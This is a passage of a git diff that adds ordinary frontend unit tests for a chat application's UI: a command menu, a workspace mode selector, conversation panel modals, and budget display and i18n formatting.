+ selectionSpy.mockReturnValue({
+ rangeCount: 1,
+ getRangeAt: () => ({}) as Range,
+ } as unknown as Selection);
+ ensureCursorVisible(element);
+
+ selectionSpy.mockReturnValue({
+ rangeCount: 1,
+ getRangeAt: () =>
+ ({ getBoundingClientRect: () => ({ bottom: 1 }) }) as Range,
+ } as unknown as Selection);
+ expect(() => ensureCursorVisible(null)).not.toThrow();
+ Object.defineProperty(element, "getBoundingClientRect", {
+ configurable: true,
+ value: undefined,
+ });
+ ensureCursorVisible(element);
+ });
+
+ it("focuses content-editable text at the end", () => {
+ focusContentEditableAtEnd(null);
+
+ const element = document.createElement("div");
+ element.textContent = "hello";
+ document.body.appendChild(element);
+ const focus = vi.spyOn(element, "focus");
+ const selection = window.getSelection()!;
+ focusContentEditableAtEnd(element);
+ expect(focus).toHaveBeenCalledOnce();
+ expect(selection.rangeCount).toBe(1);
+ const caret = selection.getRangeAt(0);
+ expect(caret.collapsed).toBe(true);
+ expect(caret.startOffset).toBe(element.childNodes.length);
+
+ vi.spyOn(window, "getSelection").mockReturnValue(null);
+ focusContentEditableAtEnd(element);
+ expect(focus).toHaveBeenCalledTimes(2);
+ });
+});
diff --git a/__tests__/components/features/chat/workspace-mode-selector.test.tsx b/__tests__/components/features/chat/workspace-mode-selector.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a32bc90a67048c07839c75f512a3675ee40628a6
--- /dev/null
+++ b/__tests__/components/features/chat/workspace-mode-selector.test.tsx
@@ -0,0 +1,24 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { WorkspaceModeSelector } from "#/components/features/chat/workspace-mode-selector";
+
+describe("WorkspaceModeSelector", () => {
+ it("opens the menu and calls onChange when an option is selected", () => {
+ const onChange = vi.fn();
+ render(
+ ,
+ );
+
+ // Open the menu (trigger renders the active mode via WorkspaceModeIcon).
+ fireEvent.click(screen.getByTestId("workspace-mode-selector"));
+ fireEvent.click(
+ screen.getByTestId("workspace-mode-selector-option-new_worktree"),
+ );
+
+ expect(onChange).toHaveBeenCalledWith("new_worktree");
+ });
+});
diff --git a/__tests__/components/features/command-menu/command-menu-items.test.tsx b/__tests__/components/features/command-menu/command-menu-items.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..355601651bd9cb7e747e67776f6f7405b030d46f
--- /dev/null
+++ b/__tests__/components/features/command-menu/command-menu-items.test.tsx
@@ -0,0 +1,74 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+import { createCommandMenuItems } from "#/components/features/command-menu/command-menu-items";
+
+/**
+ * The automation entry's title, description, and keywords are the interface
+ * manifest's. Without one there is no copy to show and no surface to reach,
+ * so the entry is not offered at all.
+ */
+vi.mock("#/manifests/manifest-sources", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return { ...actual, AUTOMATION_INTERFACE_CANDIDATE: undefined };
+});
+
+describe("the command menu without an admitted interface manifest", () => {
+ it("omits the automations entry and keeps the rest", () => {
+ // Act
+ const items = createCommandMenuItems({ toggleSidebar: vi.fn() });
+
+ // Assert
+ expect(items.some((item) => item.id === "automations")).toBe(false);
+ expect(items.some((item) => item.id === "new-chat")).toBe(true);
+ });
+});
+
+const settingsItemIds = (items: ReturnType) =>
+ items.filter((item) => item.group === "settings").map((item) => item.id);
+
+/**
+ * Locked to a Cloud host (SaaS / self-hosted OHE) the settings sidebar lists
+ * only the Application page; the command menu must not re-expose the pages
+ * that sidebar unlists.
+ */
+describe("the command menu settings group", () => {
+ afterEach(() => {
+ vi.unstubAllEnvs();
+ });
+
+ it("lists every settings page when not locked to a Cloud host", () => {
+ // Act
+ const items = createCommandMenuItems({ toggleSidebar: vi.fn() });
+
+ // Assert
+ expect(settingsItemIds(items)).toEqual([
+ "settings",
+ "agent-settings",
+ "llm-settings",
+ "condenser-settings",
+ "verification-settings",
+ "app-settings",
+ "secrets-settings",
+ ]);
+ });
+
+ it("keeps only Settings and Application when locked to a Cloud host", () => {
+ // Arrange
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+
+ // Act
+ const items = createCommandMenuItems({ toggleSidebar: vi.fn() });
+
+ // Assert
+ expect(settingsItemIds(items)).toEqual(["settings", "app-settings"]);
+ expect(items.map((item) => item.id)).toEqual([
+ "new-chat",
+ "customize",
+ "mcp",
+ "settings",
+ "app-settings",
+ "toggle-sidebar",
+ ]);
+ });
+});
diff --git a/__tests__/components/features/command-menu/command-menu.test.tsx b/__tests__/components/features/command-menu/command-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b701c916baba0b1177c7f9016dc9ccd5cf174202
--- /dev/null
+++ b/__tests__/components/features/command-menu/command-menu.test.tsx
@@ -0,0 +1,485 @@
+import { act, fireEvent, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderToStaticMarkup } from "react-dom/server";
+import { describe, it, expect, beforeEach, vi } from "vitest";
+import {
+ CommandMenu,
+ CommandMenuTrigger,
+} from "#/components/features/command-menu";
+import { COMMAND_MENU_ROUTE } from "#/components/features/command-menu/command-menu-items";
+import { getInterfaceCopy } from "#/manifests/automation-interface";
+import {
+ NavigationProvider,
+ type NavigationContextValue,
+} from "#/context/navigation-context";
+import { useCommandMenuStore } from "#/stores/command-menu-store";
+import { useSidebarStore } from "#/stores/sidebar-store";
+import { renderWithProviders } from "../../../../test-utils";
+
+vi.mock("react-i18next", async (importOriginal) => ({
+ ...(await importOriginal()),
+ useTranslation: (namespace?: string) => ({
+ t: (key: string) =>
+ namespace === "openhands" ? key : `missing-namespace:${key}`,
+ i18n: {
+ language: "en",
+ exists: () => false,
+ },
+ }),
+}));
+
+const OPEN_LABEL_KEY = "COMMAND_MENU$OPEN_LABEL";
+const SEARCH_LABEL_KEY = "COMMAND_MENU$SEARCH_LABEL";
+const CLEAR_SEARCH_LABEL_KEY = "COMMAND_MENU$CLEAR_SEARCH_LABEL";
+const NO_RESULTS_TITLE_KEY = "COMMAND_MENU$NO_RESULTS_TITLE";
+const NAVIGATION_GROUP_KEY = "COMMAND_MENU$GROUP_NAVIGATION";
+const SETTINGS_GROUP_KEY = "COMMAND_MENU$GROUP_SETTINGS";
+const ACTIONS_GROUP_KEY = "COMMAND_MENU$GROUP_ACTIONS";
+// The automation interface manifest owns the automations command's copy, so
+// its title renders as the manifest literal rather than a translation key.
+const AUTOMATIONS_TITLE_KEY = getInterfaceCopy().commandMenuTitle;
+const NEW_CHAT_TITLE_KEY = "COMMAND_MENU$NEW_CHAT_TITLE";
+const SECRETS_TITLE_KEY = "COMMAND_MENU$SECRETS_SETTINGS_TITLE";
+const TOGGLE_SIDEBAR_TITLE_KEY = "COMMAND_MENU$TOGGLE_SIDEBAR_TITLE";
+const SEARCH_INPUT_ID = "command-menu-search";
+const RESULTS_LISTBOX_ID = "command-menu-results";
+const NEW_CHAT_OPTION_ID = "command-menu-option-new-chat";
+
+const navigateMock = vi.fn();
+
+function renderCommandMenu(navigate = navigateMock) {
+ const view = renderWithProviders( , {
+ navigation: { navigate },
+ });
+
+ return { ...view, navigate };
+}
+
+function withNavigation(navigate: NavigationContextValue["navigate"]) {
+ return (
+
+
+
+ );
+}
+
+beforeEach(() => {
+ navigateMock.mockReset();
+ window.localStorage.clear();
+ useCommandMenuStore.setState({ isOpen: false });
+ useSidebarStore.setState({ collapsed: false });
+});
+
+describe("CommandMenu", () => {
+ it("opens from the global command-k shortcut and closes with escape", async () => {
+ renderCommandMenu();
+
+ fireEvent.keyDown(window, { key: "k", metaKey: true });
+
+ const searchInput = await screen.findByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+ await waitFor(() => expect(searchInput).toHaveFocus());
+ expect(screen.getByTestId("command-menu")).toBeInTheDocument();
+
+ await userEvent.keyboard("{Escape}");
+
+ await waitFor(() => {
+ expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument();
+ });
+ });
+
+ it("opens from the global ctrl-k shortcut", async () => {
+ renderCommandMenu();
+
+ fireEvent.keyDown(window, { key: "k", ctrlKey: true });
+
+ const searchInput = await screen.findByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+ await waitFor(() => expect(searchInput).toHaveFocus());
+ });
+
+ it("ignores unmodified and unrelated global shortcuts", () => {
+ renderCommandMenu();
+
+ fireEvent.keyDown(window, { key: "k" });
+ fireEvent.keyDown(window, { key: "x", metaKey: true });
+
+ expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument();
+ expect(useCommandMenuStore.getState().isOpen).toBe(false);
+ });
+
+ it("removes the global shortcut listener when unmounted", () => {
+ const { unmount } = renderCommandMenu();
+ unmount();
+
+ fireEvent.keyDown(window, { key: "k", ctrlKey: true });
+
+ expect(useCommandMenuStore.getState().isOpen).toBe(false);
+ });
+
+ it("cancels deferred focus and safely ignores it after unmount", () => {
+ let focusCallback: FrameRequestCallback | undefined;
+ const requestFrame = vi
+ .spyOn(globalThis, "requestAnimationFrame")
+ .mockImplementation((callback) => {
+ focusCallback = callback;
+ return 42;
+ });
+ const cancelFrame = vi
+ .spyOn(globalThis, "cancelAnimationFrame")
+ .mockImplementation(() => undefined);
+ useCommandMenuStore.getState().open();
+
+ const { unmount } = renderCommandMenu();
+ expect(requestFrame).toHaveBeenCalledOnce();
+ unmount();
+
+ expect(cancelFrame).toHaveBeenCalledWith(42);
+ expect(focusCallback).toBeDefined();
+ expect(() => focusCallback?.(0)).not.toThrow();
+
+ requestFrame.mockRestore();
+ cancelFrame.mockRestore();
+ });
+
+ it("filters commands by page and setting keywords", async () => {
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+
+ await userEvent.type(
+ screen.getByRole("combobox", { name: SEARCH_LABEL_KEY }),
+ "secrets",
+ );
+
+ expect(screen.getByText(SECRETS_TITLE_KEY)).toBeInTheDocument();
+ expect(screen.queryByText(NEW_CHAT_TITLE_KEY)).not.toBeInTheDocument();
+ expect(screen.getByText(SETTINGS_GROUP_KEY)).toBeInTheDocument();
+ expect(screen.queryByText(NAVIGATION_GROUP_KEY)).not.toBeInTheDocument();
+ expect(screen.queryByText(ACTIONS_GROUP_KEY)).not.toBeInTheDocument();
+ });
+
+ it("keeps translated search fields separated", async () => {
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+
+ await userEvent.type(
+ screen.getByRole("combobox", { name: SEARCH_LABEL_KEY }),
+ "titlecommand",
+ );
+
+ expect(screen.getByText(NO_RESULTS_TITLE_KEY)).toBeInTheDocument();
+ });
+
+ it("navigates to the selected command and closes the menu", async () => {
+ useCommandMenuStore.getState().open();
+ const { navigate } = renderCommandMenu();
+
+ await userEvent.click(screen.getByText(AUTOMATIONS_TITLE_KEY));
+
+ expect(navigate).toHaveBeenCalledWith(COMMAND_MENU_ROUTE.automations);
+ await waitFor(() => {
+ expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument();
+ });
+ });
+
+ it("supports arrow-key navigation and enter selection", async () => {
+ useCommandMenuStore.getState().open();
+ const { navigate } = renderCommandMenu();
+ const searchInput = screen.getByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+
+ await userEvent.type(searchInput, "settings");
+ await userEvent.keyboard("{ArrowDown}{ArrowUp}{Enter}");
+
+ expect(navigate).toHaveBeenCalledWith(COMMAND_MENU_ROUTE.settings);
+ await waitFor(() => {
+ expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument();
+ });
+ });
+
+ it("wraps arrow-up navigation from the first to the last command", async () => {
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+ const searchInput = screen.getByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+ const options = screen.getAllByRole("option");
+
+ await userEvent.type(searchInput, "{arrowup}");
+
+ expect(options.at(-1)).toHaveAttribute("aria-selected", "true");
+ expect(searchInput).toHaveAttribute(
+ "aria-activedescendant",
+ options.at(-1)?.id,
+ );
+ });
+
+ it("runs local actions from the menu", async () => {
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+
+ await userEvent.type(
+ screen.getByRole("combobox", { name: SEARCH_LABEL_KEY }),
+ "toggle",
+ );
+ await userEvent.click(screen.getByText(TOGGLE_SIDEBAR_TITLE_KEY));
+
+ expect(useSidebarStore.getState().collapsed).toBe(true);
+ });
+
+ it("shows an empty state and ignores selection keys when nothing matches", async () => {
+ const user = userEvent.setup();
+ useCommandMenuStore.getState().open();
+ const { navigate } = renderCommandMenu();
+ const searchInput = screen.getByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+
+ await user.type(searchInput, "no matching command");
+
+ expect(screen.getByText(NO_RESULTS_TITLE_KEY)).toBeInTheDocument();
+ expect(searchInput).not.toHaveAttribute("aria-activedescendant");
+
+ await user.keyboard("{ArrowDown}{ArrowUp}{Enter}");
+
+ expect(navigate).not.toHaveBeenCalled();
+ expect(screen.getByTestId("command-menu")).toBeInTheDocument();
+
+ await user.click(
+ screen.getByRole("button", { name: CLEAR_SEARCH_LABEL_KEY }),
+ );
+
+ const firstOption = screen.getAllByRole("option")[0];
+ expect(firstOption).toHaveAttribute("aria-selected", "true");
+ expect(searchInput).toHaveAttribute(
+ "aria-activedescendant",
+ NEW_CHAT_OPTION_ID,
+ );
+ });
+
+ it("scrolls the newly active option into view", () => {
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+ const searchInput = screen.getByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+ const options = screen.getAllByRole("option");
+ const nextOption = options[1];
+ const scrollIntoView = vi.fn();
+ Object.defineProperty(nextOption, "scrollIntoView", {
+ configurable: true,
+ value: scrollIntoView,
+ });
+
+ fireEvent.keyDown(searchInput, { key: "ArrowDown" });
+
+ expect(searchInput).toHaveAttribute("id", SEARCH_INPUT_ID);
+ expect(searchInput).toHaveAttribute("aria-controls", RESULTS_LISTBOX_ID);
+ expect(screen.getByRole("listbox")).toHaveAttribute(
+ "id",
+ RESULTS_LISTBOX_ID,
+ );
+ expect(options[0]).toHaveAttribute("id", NEW_CHAT_OPTION_ID);
+ expect(options[0]).toHaveAttribute("aria-selected", "false");
+ expect(nextOption).toHaveAttribute("aria-selected", "true");
+ expect(searchInput).toHaveAttribute("aria-activedescendant", nextOption.id);
+ expect(scrollIntoView).toHaveBeenCalledWith({ block: "nearest" });
+ });
+
+ it("preserves and clamps pointer selection when filtering", async () => {
+ const user = userEvent.setup();
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+ const searchInput = screen.getByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+ const allOptions = screen.getAllByRole("option");
+
+ await user.hover(allOptions[1]);
+ expect(allOptions[1]).toHaveAttribute("aria-selected", "true");
+ await user.hover(allOptions.at(-1) as HTMLElement);
+ expect(allOptions.at(-1)).toHaveAttribute("aria-selected", "true");
+
+ await user.type(searchInput, "settings");
+
+ const filteredOptions = screen.getAllByRole("option");
+ expect(filteredOptions.length).toBeLessThan(allOptions.length);
+ expect(filteredOptions.at(-1)).toHaveAttribute("aria-selected", "true");
+ expect(searchInput).toHaveAttribute(
+ "aria-activedescendant",
+ filteredOptions.at(-1)?.id,
+ );
+ });
+
+ it("clears the search and restores the full command list", async () => {
+ const user = userEvent.setup();
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+ const searchInput = screen.getByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+
+ await user.type(searchInput, "secrets");
+ expect(screen.queryByText(NEW_CHAT_TITLE_KEY)).not.toBeInTheDocument();
+
+ await user.click(
+ screen.getByRole("button", { name: CLEAR_SEARCH_LABEL_KEY }),
+ );
+
+ expect(searchInput).toHaveValue("");
+ expect(searchInput).toHaveFocus();
+ expect(screen.getByText(NEW_CHAT_TITLE_KEY)).toBeInTheDocument();
+ expect(
+ screen.queryByRole("button", { name: CLEAR_SEARCH_LABEL_KEY }),
+ ).not.toBeInTheDocument();
+ });
+
+ it("resets search and selection after closing and reopening", async () => {
+ const user = userEvent.setup();
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+ const searchInput = screen.getByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+
+ await user.type(searchInput, "secrets");
+ await user.keyboard("{Escape}");
+ await waitFor(() =>
+ expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument(),
+ );
+
+ act(() => useCommandMenuStore.getState().open());
+
+ const reopenedInput = screen.getByRole("combobox", {
+ name: SEARCH_LABEL_KEY,
+ });
+ expect(reopenedInput).toHaveValue("");
+ expect(screen.getAllByRole("option")).toHaveLength(12);
+ expect(screen.getAllByRole("option")[0]).toHaveAttribute(
+ "aria-selected",
+ "true",
+ );
+ });
+
+ it("uses the latest navigation context when a command runs", async () => {
+ const firstNavigate = vi.fn();
+ const latestNavigate = vi.fn();
+ useCommandMenuStore.getState().open();
+ const { rerender } = renderWithProviders(withNavigation(firstNavigate));
+
+ rerender(withNavigation(latestNavigate));
+ await userEvent.click(screen.getByText(AUTOMATIONS_TITLE_KEY));
+
+ expect(firstNavigate).not.toHaveBeenCalled();
+ expect(latestNavigate).toHaveBeenCalledWith(COMMAND_MENU_ROUTE.automations);
+ });
+
+ it("renders navigation commands as links and local actions as buttons", () => {
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+
+ expect(screen.getByText(NEW_CHAT_TITLE_KEY).closest("a")).toHaveAttribute(
+ "href",
+ COMMAND_MENU_ROUTE.conversations,
+ );
+ expect(
+ screen.getByText(TOGGLE_SIDEBAR_TITLE_KEY).closest("button"),
+ ).toHaveAttribute("type", "button");
+ });
+
+ it("applies the command palette and active-option presentation", () => {
+ useCommandMenuStore.getState().open();
+ renderCommandMenu();
+
+ const dialog = screen.getByRole("dialog");
+ const surface = dialog.children[1] as HTMLElement;
+ const [activeOption, inactiveOption] = screen.getAllByRole("option");
+ const activeIcon = activeOption.querySelector('[aria-hidden="true"]');
+ const inactiveIcon = inactiveOption.querySelector('[aria-hidden="true"]');
+
+ expect(surface).toHaveClass(
+ "max-w-2xl",
+ "border-[var(--oh-border)]",
+ "shadow-[0_24px_90px_rgba(0,0,0,0.52),0_0_0_1px_rgba(255,255,255,0.03)_inset]",
+ );
+ expect(activeOption).toHaveClass("rounded-xl", "bg-white/[0.09]");
+ expect(inactiveOption).toHaveClass("rounded-xl", "text-[var(--oh-muted)]");
+ expect(activeIcon).toHaveClass("size-9", "border-[var(--oh-accent)]");
+ expect(inactiveIcon).toHaveClass("size-9", "border-[var(--oh-border)]");
+ });
+
+ it("leaves modified command links to native browser behavior", () => {
+ useCommandMenuStore.getState().open();
+ const { navigate } = renderCommandMenu();
+ const commandLink = screen.getByText(NEW_CHAT_TITLE_KEY).closest("a");
+ expect(commandLink).not.toBeNull();
+ commandLink?.addEventListener("click", (event) => event.preventDefault(), {
+ once: true,
+ });
+
+ fireEvent.click(commandLink as HTMLAnchorElement, { metaKey: true });
+
+ expect(navigate).not.toHaveBeenCalled();
+ expect(screen.getByTestId("command-menu")).toBeInTheDocument();
+ });
+
+ it("does not render the browser portal when open during server rendering", async () => {
+ const serverStoreState = {
+ isOpen: true,
+ open: () => undefined,
+ close: () => undefined,
+ toggle: () => undefined,
+ };
+ vi.resetModules();
+ vi.doMock("#/stores/command-menu-store", () => ({
+ useCommandMenuStore: (
+ selector: (state: typeof serverStoreState) => unknown,
+ ) => selector(serverStoreState),
+ }));
+ const { CommandMenu: ServerCommandMenu } =
+ await import("#/components/features/command-menu/command-menu");
+ const originalDocument = globalThis.document;
+ Object.defineProperty(globalThis, "document", {
+ configurable: true,
+ value: undefined,
+ });
+
+ try {
+ expect(renderToStaticMarkup( )).toBe("");
+ } finally {
+ Object.defineProperty(globalThis, "document", {
+ configurable: true,
+ value: originalDocument,
+ });
+ vi.doUnmock("#/stores/command-menu-store");
+ vi.resetModules();
+ }
+ });
+});
+
+describe("CommandMenuTrigger", () => {
+ it("opens the command menu from the sidebar trigger", async () => {
+ renderWithProviders(
+ <>
+
+
+ >,
+ );
+
+ await userEvent.click(screen.getByRole("button", { name: OPEN_LABEL_KEY }));
+
+ expect(
+ await screen.findByRole("combobox", { name: SEARCH_LABEL_KEY }),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/advanced-conversation-options-modal.test.tsx b/__tests__/components/features/conversation-panel/advanced-conversation-options-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..28b69a7ab037c940a2ac5f5822e3cb91dfeb0ed8
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/advanced-conversation-options-modal.test.tsx
@@ -0,0 +1,181 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { fireEvent, screen, within } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { AdvancedConversationOptionsModal } from "#/components/features/conversation-panel/advanced-conversation-options-modal";
+import { useConversationPanelPreferencesStore } from "#/stores/conversation-panel-preferences-store";
+
+function mockVerticalScrollMetrics(
+ element: HTMLElement,
+ metrics: { scrollHeight: number; clientHeight: number; scrollTop: number },
+) {
+ Object.defineProperty(element, "scrollHeight", {
+ configurable: true,
+ value: metrics.scrollHeight,
+ });
+ Object.defineProperty(element, "clientHeight", {
+ configurable: true,
+ value: metrics.clientHeight,
+ });
+ Object.defineProperty(element, "scrollTop", {
+ configurable: true,
+ writable: true,
+ value: metrics.scrollTop,
+ });
+}
+
+describe("AdvancedConversationOptionsModal", () => {
+ beforeEach(() => {
+ vi.stubGlobal(
+ "ResizeObserver",
+ class {
+ observe = vi.fn();
+
+ unobserve = vi.fn();
+
+ disconnect = vi.fn();
+ },
+ );
+ });
+
+ afterEach(() => {
+ useConversationPanelPreferencesStore.setState({
+ showOlderConversations: true,
+ olderConversationCutoff: "7d",
+ });
+ vi.unstubAllGlobals();
+ });
+
+ it("uses the standard modal width", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("advanced-conversation-options-modal"),
+ ).toHaveClass("w-[520px]");
+ });
+
+ it("keeps thread scope in its own section, apart from inclusion toggles", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("CONVERSATION_PANEL$THREADS")).toBeInTheDocument();
+ expect(screen.getByTestId("scope-all")).toHaveAttribute(
+ "role",
+ "menuitemradio",
+ );
+ expect(screen.getByTestId("scope-relevant")).toHaveAttribute(
+ "role",
+ "menuitemradio",
+ );
+ expect(screen.getByTestId("toggle-show-archived")).toHaveAttribute(
+ "role",
+ "menuitemcheckbox",
+ );
+ expect(screen.getByTestId("toggle-older-conversations")).toHaveAttribute(
+ "role",
+ "menuitemcheckbox",
+ );
+ expect(screen.getByTestId("toggle-older-conversations")).toHaveAttribute(
+ "aria-checked",
+ "false",
+ );
+ });
+
+ it("hides conversations older than the selected interval", () => {
+ renderWithProviders(
+ ,
+ );
+
+ fireEvent.click(screen.getByTestId("toggle-older-conversations"));
+ expect(
+ useConversationPanelPreferencesStore.getState().showOlderConversations,
+ ).toBe(false);
+
+ fireEvent.click(
+ within(screen.getByTestId("older-conversation-cutoff")).getByTestId(
+ "dropdown-trigger",
+ ),
+ );
+ fireEvent.click(screen.getByTestId("older-conversation-cutoff-1d"));
+ expect(
+ useConversationPanelPreferencesStore.getState().olderConversationCutoff,
+ ).toBe("1d");
+ });
+
+ it("closes from the top-right X", () => {
+ const onClose = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ fireEvent.click(screen.getByTestId("advanced-options-modal-close"));
+ expect(onClose).toHaveBeenCalledTimes(1);
+ });
+
+ it("shows a full-width line on the overflow edge as the list scrolls", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const scroller = screen.getByTestId("advanced-options-scroll");
+ const topEdge = screen.getByTestId("advanced-options-scroll-edge-top");
+ const bottomEdge = screen.getByTestId("advanced-options-scroll-edge-bottom");
+
+ mockVerticalScrollMetrics(scroller, {
+ scrollHeight: 900,
+ clientHeight: 320,
+ scrollTop: 0,
+ });
+ fireEvent.scroll(scroller);
+
+ expect(topEdge).toHaveAttribute("data-visible", "false");
+ expect(bottomEdge).toHaveAttribute("data-visible", "true");
+
+ mockVerticalScrollMetrics(scroller, {
+ scrollHeight: 900,
+ clientHeight: 320,
+ scrollTop: 280,
+ });
+ fireEvent.scroll(scroller);
+
+ expect(topEdge).toHaveAttribute("data-visible", "true");
+ expect(bottomEdge).toHaveAttribute("data-visible", "true");
+
+ mockVerticalScrollMetrics(scroller, {
+ scrollHeight: 900,
+ clientHeight: 320,
+ scrollTop: 580,
+ });
+ fireEvent.scroll(scroller);
+
+ expect(topEdge).toHaveAttribute("data-visible", "true");
+ expect(bottomEdge).toHaveAttribute("data-visible", "false");
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/budget-display.test.tsx b/__tests__/components/features/conversation-panel/budget-display.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..487adfdfa937cfff5a30a6bb770522d31e7f3ddd
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/budget-display.test.tsx
@@ -0,0 +1,51 @@
+import React from "react";
+import { describe, expect, it } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { BudgetDisplay } from "#/components/features/conversation-panel/budget-display";
+
+describe("BudgetDisplay", () => {
+ it("renders nothing when cost is null", () => {
+ const { container } = renderWithProviders(
+ ,
+ );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("renders nothing when maxBudgetPerTask is null (no budget cap)", () => {
+ // Per OHE-3110: there is no way for a user to set max_budget_per_task, so
+ // the "No budget limit" line must be omitted rather than shown.
+ const { container } = renderWithProviders(
+ ,
+ );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("renders nothing when maxBudgetPerTask is zero", () => {
+ const { container } = renderWithProviders(
+ ,
+ );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("renders nothing when maxBudgetPerTask is negative", () => {
+ const { container } = renderWithProviders(
+ ,
+ );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("renders the progress bar and usage text when a real cap exists", () => {
+ const { container } = renderWithProviders(
+ ,
+ );
+ // Cap-present branch renders two child rows: BudgetProgressBar (whose
+ // fill div carries the transition-all class) and BudgetUsageText (the
+ // usage key renders untranslated in tests). Asserting on both proves we
+ // did not take the cap-absent (null) branch.
+ expect(container.querySelector(".transition-all")).toBeInTheDocument();
+ expect(
+ screen.getByText("CONVERSATION$BUDGET_USAGE_FORMAT"),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/budget-usage-text.test.tsx b/__tests__/components/features/conversation-panel/budget-usage-text.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..56f0e33390c03e7ddbfec0dd010d6c4d5b005990
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/budget-usage-text.test.tsx
@@ -0,0 +1,54 @@
+import { describe, expect, it } from "vitest";
+import i18next from "i18next";
+import { translationResources } from "#/i18n/resources";
+
+const FORMAT = translationResources.en.CONVERSATION$BUDGET_USAGE_FORMAT;
+
+// The exact parameters BudgetUsageText passes to t() (see
+// src/components/features/conversation-panel/budget-usage-text.tsx).
+const CONSUMER_PARAMS = {
+ currentCost: "$0.1234",
+ maxBudget: "$5.0000",
+ usagePercentage: "2.47",
+ used: translationResources.en.CONVERSATION$USED,
+};
+
+describe("CONVERSATION$BUDGET_USAGE_FORMAT", () => {
+ it("uses i18next placeholder syntax in the en locale string", () => {
+ // Regression guard for #16873: the key must use {{param}} placeholders so
+ // i18next substitutes values instead of printing the literal template.
+ expect(FORMAT).toBe(
+ "{{currentCost}} / {{maxBudget}} ({{usagePercentage}}% {{used}})",
+ );
+ expect(FORMAT).not.toContain("${");
+ });
+
+ it("interpolates every named parameter the consumer passes", () => {
+ for (const param of Object.keys(CONSUMER_PARAMS)) {
+ expect(FORMAT).toContain(`{{${param}}}`);
+ }
+ });
+
+ it("renders a fully substituted usage line with i18next", () => {
+ // Drive a real i18next instance with the actual en resource to prove the
+ // template interpolates end-to-end (the app's interpolation config matches:
+ // default delimiters, escapeValue false).
+ const instance = i18next.createInstance();
+ instance.init({
+ lng: "en",
+ resources: { en: { openhands: translationResources.en } },
+ ns: ["openhands"],
+ defaultNS: "openhands",
+ interpolation: { escapeValue: false },
+ });
+
+ const rendered = instance.t(
+ "CONVERSATION$BUDGET_USAGE_FORMAT",
+ CONSUMER_PARAMS,
+ ) as string;
+
+ expect(rendered).toBe("$0.1234 / $5.0000 (2.47% used)");
+ expect(rendered).not.toContain("${");
+ expect(rendered).not.toContain("{{");
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/confirm-archive-modal.test.tsx b/__tests__/components/features/conversation-panel/confirm-archive-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5ba14f6a60ec2d8263fcccffac871454424ae805
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/confirm-archive-modal.test.tsx
@@ -0,0 +1,55 @@
+import React from "react";
+import { describe, it, expect, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { ConfirmArchiveModal } from "#/components/features/conversation-panel/confirm-archive-modal";
+
+vi.mock("react-i18next", async (importOriginal) => ({
+ ...(await importOriginal()),
+ Trans: ({
+ values,
+ components,
+ }: {
+ values: { title: string };
+ components: { title: React.ReactElement };
+ }) => React.cloneElement(components.title, {}, values.title),
+}));
+
+describe("ConfirmArchiveModal", () => {
+ it("should display the conversation title in the warning", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText(/My Test Conversation/)).toBeInTheDocument();
+ });
+
+ it("falls back to the default warning when no title is provided", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByText("CONVERSATION$ARCHIVE_WARNING"),
+ ).toBeInTheDocument();
